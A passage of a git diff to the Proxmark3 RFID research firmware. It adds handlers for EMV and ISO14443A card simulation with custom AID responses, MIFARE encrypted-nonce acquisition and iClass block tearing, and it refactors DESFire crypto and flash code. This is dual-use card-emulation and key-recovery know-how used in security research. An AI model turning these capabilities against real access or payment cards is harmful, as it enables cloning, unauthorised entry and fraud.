*hf14aconfig = getHf14aConfig(); - reply_ng(CMD_HF_ISO14443A_GET_CONFIG, PM3_SUCCESS, (uint8_t *)hf14aconfig, sizeof(hf14a_config)); + hf14a_config_t *c = getHf14aConfig(); + reply_ng(CMD_HF_ISO14443A_GET_CONFIG, PM3_SUCCESS, (uint8_t *)c, sizeof(hf14a_config_t)); break; } case CMD_HF_ISO14443A_SET_CONFIG: { - hf14a_config c; - memcpy(&c, packet->data.asBytes, sizeof(hf14a_config)); + hf14a_config_t c; + memcpy(&c, packet->data.asBytes, sizeof(hf14a_config_t)); setHf14aConfig(&c); break; } @@ -1624,15 +1727,57 @@ static void PacketReceived(PacketCommandNG *packet) { ReaderIso14443a(packet); break; } +#ifdef WITH_SMARTCARD + case CMD_HF_ISO14443A_EMV_SIMULATE: { + struct p { + uint16_t flags; + uint8_t exitAfter; + uint8_t uid[7]; + uint16_t atqa; + uint8_t sak; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + + EMVsim(payload->flags, payload->exitAfter, payload->uid, payload->atqa, payload->sak); + break; + } +#endif case CMD_HF_ISO14443A_SIMULATE: { struct p { uint8_t tagtype; uint16_t flags; uint8_t uid[10]; uint8_t exitAfter; + uint8_t rats[20]; + bool ulc_p1; + bool ulc_p2; } PACKED; struct p *payload = (struct p *) packet->data.asBytes; - SimulateIso14443aTag(payload->tagtype, payload->flags, payload->uid, payload->exitAfter); // ## Simulate iso14443a tag - pass tag type & UID + SimulateIso14443aTag(payload->tagtype, payload->flags, payload->uid, + payload->exitAfter, payload->rats, sizeof(payload->rats), + payload->ulc_p1, payload->ulc_p2); // ## Simulate iso14443a tag - pass tag type & UID + break; + } + case CMD_HF_ISO14443A_SIM_AID: { + struct p { + uint8_t tagtype; + uint16_t flags; + uint8_t uid[10]; + uint8_t ats[20]; + uint8_t aid[30]; + uint8_t selectaid_response[100]; + uint8_t getdata_response[100]; + uint32_t ats_len; + uint32_t aid_len; + uint32_t selectaid_response_len; + uint32_t getdata_response_len; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + // ## Simulate iso14443a tag - pass tag type, UID, ATS, AID, responses + SimulateIso14443aTagAID(payload->tagtype, payload->flags, payload->uid, + payload->ats, payload->ats_len, payload->aid, payload->aid_len, + payload->selectaid_response, payload->selectaid_response_len, + payload->getdata_response, payload->getdata_response_len); break; } case CMD_HF_ISO14443A_ANTIFUZZ: { @@ -1694,7 +1839,7 @@ static void PacketReceived(PacketCommandNG *packet) { struct p { bool turn_off_field; uint8_t keyno; - uint8_t key[18]; + uint8_t key[16]; } PACKED; struct p *payload = (struct p *) packet->data.asBytes; MifareUL_AES_Auth(payload->turn_off_field, payload->keyno, payload->key); @@ -1751,7 +1896,7 @@ static void PacketReceived(PacketCommandNG *packet) { break; } case CMD_HF_MIFARE_ACQ_STATIC_ENCRYPTED_NONCES: { - MifareAcquireStaticEncryptedNonces(packet->oldarg[0], packet->data.asBytes); + MifareAcquireStaticEncryptedNonces(packet->oldarg[0], packet->data.asBytes, true, packet->oldarg[1], packet->oldarg[2]); break; } case CMD_HF_MIFARE_ACQ_NONCES: { @@ -1812,41 +1957,70 @@ static void PacketReceived(PacketCommandNG *packet) { break; } case CMD_HF_MIFARE_EML_MEMCLR: { - MifareEMemClr(); - reply_ng(CMD_HF_MIFARE_EML_MEMCLR, PM3_SUCCESS, NULL, 0); + + //----------------------------------------------------------------------------- + // Work with emulator memory + // + // Note: we call FpgaDownloadAndGo(FPGA_BITSTREAM_HF) here although FPGA is not + // involved in dealing with emulator memory. But if it is called later, it might + // destroy the Emulator Memory. + //----------------------------------------------------------------------------- FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + + // Not only clears the emulator memory, + // also sets default MIFARE values for sector trailers. + emlClearMem(); + reply_ng(CMD_HF_MIFARE_EML_MEMCLR, PM3_SUCCESS, NULL, 0); break; } case CMD_HF_MIFARE_EML_MEMSET: { + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); struct p { - uint8_t blockno; + uint16_t blockno; uint8_t blockcnt; uint8_t blockwidth; uint8_t data[]; } PACKED; struct p *payload = (struct p *) packet->data.asBytes; - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - // backwards compat... default bytewidth - if (payload->blockwidth == 0) - payload->blockwidth = 16; + if (payload->blockwidth == 0) { + payload->blockwidth = MIFARE_BLOCK_SIZE; + } emlSetMem_xt(payload->data, payload->blockno, payload->blockcnt, payload->blockwidth); break; } case CMD_HF_MIFARE_EML_MEMGET: { + + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); struct p { - uint8_t blockno; + uint16_t blockno; uint8_t blockcnt; + uint8_t blockwidth; } PACKED; struct p *payload = (struct p *) packet->data.asBytes; - MifareEMemGet(payload->blockno, payload->blockcnt); + + // + size_t size = payload->blockcnt * payload->blockwidth; + if (size > PM3_CMD_DATA_SIZE) { + reply_ng(CMD_HF_MIFARE_EML_MEMGET, PM3_EMALLOC, NULL, 0); + return; + } + + uint8_t *buf = BigBuf_calloc(size); + + emlGetMem_xt(buf, payload->blockno, payload->blockcnt, payload->blockwidth); // data, block num, blocks count (max 4) + + LED_B_ON(); + reply_ng(CMD_HF_MIFARE_EML_MEMGET, PM3_SUCCESS, buf, size); + LED_B_OFF(); + BigBuf_free_keep_EM(); break; } case CMD_HF_MIFARE_EML_LOAD: { mfc_eload_t *payload = (mfc_eload_t *) packet->data.asBytes; - MifareECardLoadExt(payload->sectorcnt, payload->keytype); + MifareECardLoadExt(payload->sectorcnt, payload->keytype, payload->key); break; } // Gen1a / 1b - "magic Chinese" card @@ -2085,6 +2259,10 @@ static void PacketReceived(PacketCommandNG *packet) { iclass_credit_epurse((iclass_credit_epurse_t *)packet->data.asBytes); break; } + case CMD_HF_ICLASS_TEARBL: { + iClass_TearBlock((iclass_tearblock_req_t *)packet->data.asBytes); + break; + } #endif #ifdef WITH_HFSNIFF @@ -2181,11 +2359,11 @@ static void PacketReceived(PacketCommandNG *packet) { } case CMD_HF_SAM_PICOPASS: { - sam_picopass_get_pacs(); + sam_picopass_get_pacs(packet); break; } case CMD_HF_SAM_SEOS: { -// sam_seos_get_pacs(); + sam_seos_get_pacs(packet); break; } @@ -2213,7 +2391,7 @@ static void PacketReceived(PacketCommandNG *packet) { uint16_t available; uint16_t pre_available = 0; - uint8_t *dest = BigBuf_malloc(USART_FIFOLEN); + uint8_t *dest = BigBuf_calloc(USART_FIFOLEN); uint32_t wait = payload->waittime; StartTicks(); @@ -2257,7 +2435,7 @@ static void PacketReceived(PacketCommandNG *packet) { uint16_t available; uint16_t pre_available = 0; - uint8_t *dest = BigBuf_malloc(USART_FIFOLEN); + uint8_t *dest = BigBuf_calloc(USART_FIFOLEN); uint32_t wait = payload->waittime; StartTicks(); @@ -2553,9 +2731,9 @@ static void PacketReceived(PacketCommandNG *packet) { uint32_t size = packet->oldarg[1]; - uint8_t *buff = BigBuf_malloc(size); + uint8_t *buff = BigBuf_calloc(size); if (buff == NULL) { - if (g_dbglevel >= DBG_DEBUG) Dbprintf("Could not allocate buffer"); + if (g_dbglevel >= DBG_DEBUG) Dbprintf("Failed to allocate memory"); // Trigger a finish downloading signal with an PM3_EMALLOC reply_ng(CMD_SPIFFS_DOWNLOAD, PM3_EMALLOC, NULL, 0); } else { @@ -2685,6 +2863,7 @@ static void PacketReceived(PacketCommandNG *packet) { uint8_t *em = BigBuf_get_EM_addr(); if (em == NULL) { + if (g_dbglevel >= DBG_DEBUG) Dbprintf("Failed to allocate memory"); reply_ng(CMD_SPIFFS_ELOAD, PM3_EMALLOC, NULL, 0); LED_B_OFF(); break; @@ -2721,28 +2900,10 @@ static void PacketReceived(PacketCommandNG *packet) { break; } - if (payload->startidx == DEFAULT_T55XX_KEYS_OFFSET) { + if (payload->startidx == FLASH_MEM_SIGNATURE_OFFSET_P(spi_flash_pages64k)) { Flash_CheckBusy(BUSY_TIMEOUT); Flash_WriteEnable(); - Flash_Erase4k(3, 0xC); - } else if (payload->startidx == DEFAULT_MF_KEYS_OFFSET) { - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase4k(3, 0x8); - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase4k(3, 0x9); - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase4k(3, 0xA); - } else if (payload->startidx == DEFAULT_ICLASS_KEYS_OFFSET) { - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase4k(3, 0xB); - } else if (payload->startidx == FLASH_MEM_SIGNATURE_OFFSET) { - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase4k(3, 0xF); + Flash_Erase4k(spi_flash_pages64k - 1, 0xF); } uint16_t res = Flash_Write(payload->startidx, payload->data, payload->len); @@ -2762,7 +2923,7 @@ static void PacketReceived(PacketCommandNG *packet) { LED_B_OFF(); break; } - if (page < 3) { + if (page < spi_flash_pages64k - 1) { isok = Flash_WipeMemoryPage(page); // let spiffs check and update its info post flash erase rdv40_spiffs_check(); @@ -2775,7 +2936,7 @@ static void PacketReceived(PacketCommandNG *packet) { case CMD_FLASHMEM_DOWNLOAD: { LED_B_ON(); - uint8_t *mem = BigBuf_malloc(PM3_CMD_DATA_SIZE); + uint8_t *mem = BigBuf_calloc(PM3_CMD_DATA_SIZE); uint32_t startidx = packet->oldarg[0]; uint32_t numofbytes = packet->oldarg[1]; // arg0 = startindex @@ -2807,9 +2968,9 @@ static void PacketReceived(PacketCommandNG *packet) { case CMD_FLASHMEM_INFO: { LED_B_ON(); - rdv40_validation_t *info = (rdv40_validation_t *)BigBuf_malloc(sizeof(rdv40_validation_t)); + rdv40_validation_t *info = (rdv40_validation_t *)BigBuf_calloc(sizeof(rdv40_validation_t)); - bool isok = Flash_ReadData(FLASH_MEM_SIGNATURE_OFFSET, info->signature, FLASH_MEM_SIGNATURE_LEN); + bool isok = Flash_ReadData(FLASH_MEM_SIGNATURE_OFFSET_P(spi_flash_pages64k), info->signature, FLASH_MEM_SIGNATURE_LEN); if (FlashInit()) { Flash_UniqueID(info->flashid); @@ -2818,6 +2979,23 @@ static void PacketReceived(PacketCommandNG *packet) { reply_mix(CMD_ACK, isok, 0, 0, info, sizeof(rdv40_validation_t)); BigBuf_free(); + LED_B_OFF(); + break; + } + case CMD_FLASHMEM_PAGES64K: { + + LED_B_ON(); + + bool isok = false; + if (FlashInit()) { + isok = true; + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf(" CMD_FLASHMEM_PAGE64K 0x%02x (%d 64k pages)", spi_flash_pages64k, spi_flash_pages64k); + } + FlashStop(); + } + reply_mix(CMD_ACK, isok, 0, 0, &spi_flash_pages64k, sizeof(uint8_t)); + LED_B_OFF(); break; } diff --git a/armsrc/cmd.c b/armsrc/cmd.c index 61353304c..961be39b1 100644 --- a/armsrc/cmd.c +++ b/armsrc/cmd.c @@ -72,7 +72,7 @@ int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const v return PM3_SUCCESS; } -static int reply_ng_internal(uint16_t cmd, int16_t status, const uint8_t *data, size_t len, bool ng) { +static int reply_ng_internal(uint16_t cmd, int8_t status, uint8_t reason, const uint8_t *data, size_t len, bool ng) { PacketResponseNGRaw txBufferNG; size_t txBufferNGLen; @@ -80,6 +80,7 @@ static int reply_ng_internal(uint16_t cmd, int16_t status, const uint8_t *data, txBufferNG.pre.magic = RESPONSENG_PREAMBLE_MAGIC; txBufferNG.pre.cmd = cmd; txBufferNG.pre.status = status; + txBufferNG.pre.reason = reason; txBufferNG.pre.ng = ng; if (len > PM3_CMD_DATA_SIZE) { len = PM3_CMD_DATA_SIZE; @@ -136,12 +137,12 @@ static int reply_ng_internal(uint16_t cmd, int16_t status, const uint8_t *data, return PM3_SUCCESS; } -int reply_ng(uint16_t cmd, int16_t status, const uint8_t *data, size_t len) { - return reply_ng_internal(cmd, status, data, len, true); +int reply_ng(uint16_t cmd, int8_t status, const uint8_t *data, size_t len) { + return reply_ng_internal(cmd, status, PM3_REASON_UNKNOWN, data, len, true); } int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len) { - int16_t status = PM3_SUCCESS; + int8_t status = PM3_SUCCESS; uint64_t arg[3] = {arg0, arg1, arg2}; if (len > PM3_CMD_DATA_SIZE - sizeof(arg)) { len = PM3_CMD_DATA_SIZE - sizeof(arg); @@ -153,7 +154,11 @@ int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const v memcpy(cmddata + sizeof(arg), data, (int)len); } - return reply_ng_internal((cmd & 0xFFFF), status, cmddata, len + sizeof(arg), false); + return reply_ng_internal((cmd & 0xFFFF), status, PM3_REASON_UNKNOWN, cmddata, len + sizeof(arg), false); +} + +int reply_reason(uint16_t cmd, int8_t status, int8_t reason, const uint8_t *data, size_t len) { + return reply_ng_internal(cmd, status, reason, data, len, true); } static int receive_ng_internal(PacketCommandNG *rx, uint32_t read_ng(uint8_t *data, size_t len), bool usb, bool fpc) { diff --git a/armsrc/cmd.h b/armsrc/cmd.h index 22a79ce16..c96024bc2 100644 --- a/armsrc/cmd.h +++ b/armsrc/cmd.h @@ -28,8 +28,9 @@ extern bool g_reply_via_fpc; extern bool g_reply_via_usb; int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len); -int reply_ng(uint16_t cmd, int16_t status, const uint8_t *data, size_t len); +int reply_ng(uint16_t cmd, int8_t status, const uint8_t *data, size_t len); int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len); +int reply_reason(uint16_t cmd, int8_t status, int8_t reason, const uint8_t *data, size_t len); int receive_ng(PacketCommandNG *rx); #endif // _PROXMARK_CMD_H_ diff --git a/armsrc/dbprint.c b/armsrc/dbprint.c index 903adf872..687bdfb90 100644 --- a/armsrc/dbprint.c +++ b/armsrc/dbprint.c @@ -16,7 +16,6 @@ //----------------------------------------------------------------------------- #include "dbprint.h" - #include "string.h" #include "cmd.h" #include "printf.h" @@ -76,35 +75,34 @@ void Dbprintf(const char *fmt, ...) { // prints HEX & ASCII void Dbhexdump(int len, const uint8_t *d, bool bAsci) { #if DEBUG - char ascii[17]; - while (len > 0) { int l = (len > 16) ? 16 : len; - memcpy(ascii, d, l); - ascii[l] = 0; + if (bAsci) { + char ascii[17]; - // filter safe ascii - for (int i = 0; i < l; i++) { - if (ascii[i] < 32 || ascii[i] > 126) { - ascii[i] = '.'; + memcpy(ascii, d, l); + ascii[l] = 0; + + // filter safe ascii + for (int i = 0; i < l; i++) { + if (ascii[i] < 32 || ascii[i] > 126) { + ascii[i] = '.'; + } } - } - if (bAsci) Dbprintf("%-8s %*D", ascii, l, d, " "); - else + } else { Dbprintf("%*D", l, d, " "); + } len -= 16; d += 16; } #endif } -void print_result(const char *name, const uint8_t *d, size_t - - n) { +void print_result(const char *name, const uint8_t *d, size_t n) { const uint8_t *p = d; uint16_t tmp = n & 0xFFF0; diff --git a/armsrc/desfire_crypto.c b/armsrc/desfire_crypto.c index 7a30d4ff3..b27d19595 100644 --- a/armsrc/desfire_crypto.c +++ b/armsrc/desfire_crypto.c @@ -31,7 +31,7 @@ #include "crc32.h" #include "crc.h" #include "crc16.h" // crc16 ccitt -#include "printf.h" +#include "nprintf.h" #include "iso14443a.h" #include "dbprint.h" #include "BigBuf.h" @@ -65,25 +65,32 @@ void des_decrypt(void *out, const void *in, const void *key) { mbedtls_des_crypt_ecb(&ctx, in, out); } -void tdes_nxp_receive(const void *in, void *out, size_t length, const void *key, unsigned char iv[8], int keymode) { - if (length % 8) return; - if (keymode == 2) - mbedtls_des3_set2key_dec(&ctx3, key); - else - mbedtls_des3_set3key_dec(&ctx3, key); +void tdes_nxp_receive(const void *in, void *out, size_t length, const void *key, uint8_t *iv, int keymode) { + + // must be even blocks of 8 bytes. + if (length % 8) { + return; + } + + if (keymode == 2) { + mbedtls_des3_set2key_dec(&ctx3, key); + } else { + mbedtls_des3_set3key_dec(&ctx3, key); + } - uint8_t i; unsigned char temp[8]; uint8_t *tin = (uint8_t *) in; uint8_t *tout = (uint8_t *) out; while (length > 0) { + memcpy(temp, tin, 8); mbedtls_des3_crypt_ecb(&ctx3, tin, tout); - for (i = 0; i < 8; i++) - tout[i] = (unsigned char)(tout[i] ^ iv[i]); + for (uint8_t i = 0; i < 8; i++) { + tout[i] ^= iv[i]; + } memcpy(iv, temp, 8); @@ -93,20 +100,26 @@ void tdes_nxp_receive(const void *in, void *out, size_t length, const void *key, } } -void tdes_nxp_send(const void *in, void *out, size_t length, const void *key, unsigned char iv[8], int keymode) { - if (length % 8) return; - if (keymode == 2) - mbedtls_des3_set2key_enc(&ctx3, key); - else - mbedtls_des3_set3key_enc(&ctx3, key); +void tdes_nxp_send(const void *in, void *out, size_t length, const void *key, uint8_t *iv, int keymode) { + + // must be even blocks of 8 bytes. + if (length % 8) { + return; + } + + if (keymode == 2) { + mbedtls_des3_set2key_enc(&ctx3, key); + } else { + mbedtls_des3_set3key_enc(&ctx3, key); + } - uint8_t i; uint8_t *tin = (uint8_t *) in; uint8_t *tout = (uint8_t *) out; while (length > 0) { - for (i = 0; i < 8; i++) { - tin[i] = (unsigned char)(tin[i] ^ iv[i]); + + for (uint8_t i = 0; i < 8; i++) { + tin[i] ^= iv[i]; } mbedtls_des3_crypt_ecb(&ctx3, tin, tout); @@ -120,7 +133,9 @@ void tdes_nxp_send(const void *in, void *out, size_t length, const void *key, un } void aes128_nxp_receive(const void *in, void *out, size_t length, const void *key, unsigned char iv[16]) { - if (length % 8) return; + if (length % 8) { + return; + } uint8_t *tin = (uint8_t *) in; uint8_t *tout = (uint8_t *) out; @@ -130,7 +145,9 @@ void aes128_nxp_receive(const void *in, void *out, size_t length, const void *ke } void aes128_nxp_send(const void *in, void *out, size_t length, const void *key, unsigned char iv[16]) { - if (length % 8) return; + if (length % 8) { + return; + } uint8_t *tin = (uint8_t *) in; uint8_t *tout = (uint8_t *) out; @@ -139,12 +156,15 @@ void aes128_nxp_send(const void *in, void *out, size_t length, const void *key, mbedtls_aes_crypt_cbc(&actx, MBEDTLS_AES_ENCRYPT, length, iv, tin, tout); } -void Desfire_des_key_new(const uint8_t value[8], desfirekey_t key) { - uint8_t data[8]; - memcpy(data, value, 8); - for (int n = 0; n < 8; n++) { +void Desfire_des_key_new(const uint8_t *value, desfirekey_t key) { + + uint8_t data[8] = {0}; + memcpy(data, value, sizeof(data)); + + for (size_t n = 0; n < sizeof(data); n++) { data[n] &= 0xFE; } + Desfire_des_key_new_with_version(data, key); } @@ -233,22 +253,24 @@ void Desfire_key_set_version(desfirekey_t key, uint8_t version) { void Desfire_session_key_new(const uint8_t rnda[], const uint8_t rndb[], desfirekey_t authkey, desfirekey_t key) { - uint8_t buffer[24]; + uint8_t buffer[24] = {0}; switch (authkey->type) { - case T_DES: + case T_DES: { memcpy(buffer, rnda, 4); memcpy(buffer + 4, rndb, 4); Desfire_des_key_new_with_version(buffer, key); break; - case T_3DES: + } + case T_3DES: { memcpy(buffer, rnda, 4); memcpy(buffer + 4, rndb, 4); memcpy(buffer + 8, rnda + 4, 4); memcpy(buffer + 12, rndb + 4, 4); Desfire_3des_key_new_with_version(buffer, key); break; - case T_3K3DES: + } + case T_3K3DES: { memcpy(buffer, rnda, 4); memcpy(buffer + 4, rndb, 4); memcpy(buffer + 8, rnda + 6, 4); @@ -257,22 +279,15 @@ void Desfire_session_key_new(const uint8_t rnda[], const uint8_t rndb[], desfire memcpy(buffer + 20, rndb + 12, 4); Desfire_3k3des_key_new(buffer, key); break; - case T_AES: + } + case T_AES: { memcpy(buffer, rnda, 4); memcpy(buffer + 4, rndb, 4); memcpy(buffer + 8, rnda + 12, 4); memcpy(buffer + 12, rndb + 12, 4); Desfire_aes_key_new(buffer, key); break; - } -} - -static size_t key_macing_length(desfirekey_t key); - -// iceman, see memxor inside string.c, dest/src swapped.. -static void xor(const uint8_t *ivect, uint8_t *data, const size_t len) { - for (size_t i = 0; i < len; i++) { - data[i] ^= ivect[i]; + } } } @@ -293,7 +308,7 @@ void cmac_generate_subkeys(desfirekey_t key) { // Used to compute CMAC on complete blocks memcpy(key->cmac_sk1, l, kbs); - txor = l[0] & 0x80; + txor = (l[0] & 0x80); lsl(key->cmac_sk1, kbs); @@ -304,7 +319,7 @@ void cmac_generate_subkeys(desfirekey_t key) { // Used to compute CMAC on the last block if non-complete memcpy(key->cmac_sk2, key->cmac_sk1, kbs); - txor = key->cmac_sk1[0] & 0x80; + txor = (key->cmac_sk1[0] & 0x80); lsl(key->cmac_sk2, kbs); @@ -319,7 +334,7 @@ void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t le return; } - uint8_t *buffer = BigBuf_malloc(padded_data_length(len, kbs)); + uint8_t *buffer = BigBuf_calloc(padded_data_length(len, kbs)); memcpy(buffer, data, len); @@ -328,15 +343,14 @@ void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t le while (len % kbs) { buffer[len++] = 0x00; } - xor(key->cmac_sk2, buffer + len - kbs, kbs); + xor(buffer + len - kbs, key->cmac_sk2, kbs); } else { - xor(key->cmac_sk1, buffer + len - kbs, kbs); + xor(buffer + len - kbs, key->cmac_sk1, kbs); } mifare_cypher_blocks_chained(NULL, key, ivect, buffer, len, MCD_SEND, MCO_ENCYPHER); memcpy(cmac, ivect, kbs); - //free(buffer); } size_t key_block_size(const desfirekey_t key) { @@ -361,7 +375,7 @@ size_t key_block_size(const desfirekey_t key) { /* * Size of MACing produced with the key. */ -static size_t key_macing_length(const desfirekey_t key) { +size_t key_macing_length(const desfirekey_t key) { size_t mac_length = DESFIRE_MAC_LENGTH; switch (key->type) { case T_DES: @@ -380,10 +394,11 @@ static size_t key_macing_length(const desfirekey_t key) { * Size required to store nbytes of data in a buffer of size n*block_size. */ size_t padded_data_length(const size_t nbytes, const size_t block_size) { - if ((!nbytes) || (nbytes % block_size)) + if ((!nbytes) || (nbytes % block_size)) { return ((nbytes / block_size) + 1) * block_size; - else + } else { return nbytes; + } } /* @@ -399,12 +414,14 @@ size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int c size_t crc_length = 0; if (!(communication_settings & NO_CRC)) { switch (DESFIRE(tag)->authentication_scheme) { - case AS_LEGACY: + case AS_LEGACY: { crc_length = 2; break; - case AS_NEW: + } + case AS_NEW: { crc_length = 4; break; + } } } @@ -415,18 +432,20 @@ size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int c void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, size_t offset, int communication_settings) { uint8_t *res = data; - uint8_t mac[4]; + uint8_t mac[4] = {0}; size_t edl; bool append_mac = true; - desfirekey_t key = DESFIRE(tag)->session_key; - if (!key) + desfirekey_t key = DESFIRE(tag)->session_key; + if (!key) { return data; + } switch (communication_settings & MDCM_MASK) { - case MDCM_PLAIN: - if (AS_LEGACY == DESFIRE(tag)->authentication_scheme) + case MDCM_PLAIN: { + if (AS_LEGACY == DESFIRE(tag)->authentication_scheme) { break; + } /* * When using new authentication methods, PLAIN data transmission from @@ -439,13 +458,16 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, */ append_mac = false; - + } /* pass through */ - case MDCM_MACED: + case MDCM_MACED: { switch (DESFIRE(tag)->authentication_scheme) { - case AS_LEGACY: - if (!(communication_settings & MAC_COMMAND)) + case AS_LEGACY: { + + if (!(communication_settings & MAC_COMMAND)) { break; + } + /* pass through */ edl = padded_data_length(*nbytes - offset, key_block_size(DESFIRE(tag)->session_key)) + offset; @@ -462,8 +484,6 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, // Copy again provided data (was overwritten by mifare_cypher_blocks_chained) memcpy(res, data, *nbytes); - if (!(communication_settings & MAC_COMMAND)) - break; // Append MAC size_t bla = maced_data_length(DESFIRE(tag)->session_key, *nbytes - offset) + offset; (void)bla++; @@ -472,9 +492,12 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, *nbytes += 4; break; - case AS_NEW: - if (!(communication_settings & CMAC_COMMAND)) + } + case AS_NEW: { + if (!(communication_settings & CMAC_COMMAND)) { break; + } + cmac(key, DESFIRE(tag)->ivect, res, *nbytes, DESFIRE(tag)->cmac); if (append_mac) { @@ -485,10 +508,11 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, *nbytes += DESFIRE_CMAC_LENGTH; } break; + } } - break; - case MDCM_ENCIPHERED: + } + case MDCM_ENCIPHERED: { /* |<-------------- data -------------->| * |<--- offset -->| | * +---------------+--------------------+-----+---------+ @@ -504,8 +528,10 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, * encypher()/decypher() */ - if (!(communication_settings & ENC_COMMAND)) + if (!(communication_settings & ENC_COMMAND)) { break; + } + edl = enciphered_data_length(tag, *nbytes - offset, communication_settings) + offset; // Fill in the crypto buffer with data ... @@ -513,14 +539,16 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, if (!(communication_settings & NO_CRC)) { // ... CRC ... switch (DESFIRE(tag)->authentication_scheme) { - case AS_LEGACY: + case AS_LEGACY: { AddCrc14A(res + offset, *nbytes - offset); *nbytes += 2; break; - case AS_NEW: + } + case AS_NEW: { crc32_append(res, *nbytes); *nbytes += 4; break; + } } } // ... and padding @@ -530,32 +558,34 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, mifare_cypher_blocks_chained(tag, NULL, NULL, res + offset, *nbytes - offset, MCD_SEND, (AS_NEW == DESFIRE(tag)->authentication_scheme) ? MCO_ENCYPHER : MCO_DECYPHER); break; - default: - + } + default: { *nbytes = -1; res = NULL; break; + } } return res; - } void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes, int communication_settings) { + void *res = data; - uint8_t first_cmac_byte = 0x00; - - desfirekey_t key = DESFIRE(tag)->session_key; - - if (!key) { - return data; - } // Return directly if we just have a status code. if (1 == *nbytes) { return res; } + + desfirekey_t key = DESFIRE(tag)->session_key; + if (!key) { + return data; + } + + uint8_t first_cmac_byte = 0x00; + switch (communication_settings & MDCM_MASK) { case MDCM_PLAIN: { @@ -646,11 +676,12 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes break; } case MDCM_ENCIPHERED: { + (*nbytes)--; + bool verified = false; int crc_pos = 0x00; int end_crc_pos = 0x00; - uint8_t x; /* * AS_LEGACY: @@ -729,8 +760,9 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes verified = true; for (int n = end_crc_pos; n < *nbytes - 1; n++) { uint8_t byte = ((uint8_t *)res)[n]; - if (!((0x00 == byte) || ((0x80 == byte) && (n == end_crc_pos)))) + if (!((0x00 == byte) || ((0x80 == byte) && (n == end_crc_pos)))) { verified = false; + } } } @@ -755,7 +787,7 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes break; } case AS_NEW: { - x = ((uint8_t *)res)[crc_pos - 1]; + uint8_t x = ((uint8_t *)res)[crc_pos - 1]; ((uint8_t *)res)[crc_pos - 1] = ((uint8_t *)res)[crc_pos]; ((uint8_t *)res)[crc_pos] = x; break; @@ -789,9 +821,10 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect, MifareCryptoDirection direction, MifareCryptoOperation operation, size_t block_size) { + uint8_t ovect[DESFIRE_MAX_CRYPTO_BLOCK_SIZE]; if (direction == MCD_SEND) { - xor(ivect, data, block_size); + xor(data, ivect, block_size); } else { memcpy(ovect, data, block_size); } @@ -799,70 +832,80 @@ void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect, uint8_t edata[DESFIRE_MAX_CRYPTO_BLOCK_SIZE] = {0}; switch (key->type) { - case T_DES: + case T_DES: { switch (operation) { - case MCO_ENCYPHER: + case MCO_ENCYPHER: { //DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_ENCRYPT); des_encrypt(edata, data, key->data); break; - case MCO_DECYPHER: + } + case MCO_DECYPHER: { //DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_DECRYPT); des_decrypt(edata, data, key->data); break; + } } break; - case T_3DES: + } + case T_3DES: { switch (operation) { - case MCO_ENCYPHER: + case MCO_ENCYPHER: { mbedtls_des3_set2key_enc(&ctx3, key->data); mbedtls_des3_crypt_ecb(&ctx3, data, edata); // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_ENCRYPT); // DES_ecb_encrypt ((DES_cblock *) edata, (DES_cblock *) data, &(key->ks2), DES_DECRYPT); // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_ENCRYPT); break; - case MCO_DECYPHER: + } + case MCO_DECYPHER: { mbedtls_des3_set2key_dec(&ctx3, key->data); mbedtls_des3_crypt_ecb(&ctx3, data, edata); // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_DECRYPT); // DES_ecb_encrypt ((DES_cblock *) edata, (DES_cblock *) data, &(key->ks2), DES_ENCRYPT); // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_DECRYPT); break; + } } break; - case T_3K3DES: + } + case T_3K3DES: { switch (operation) { - case 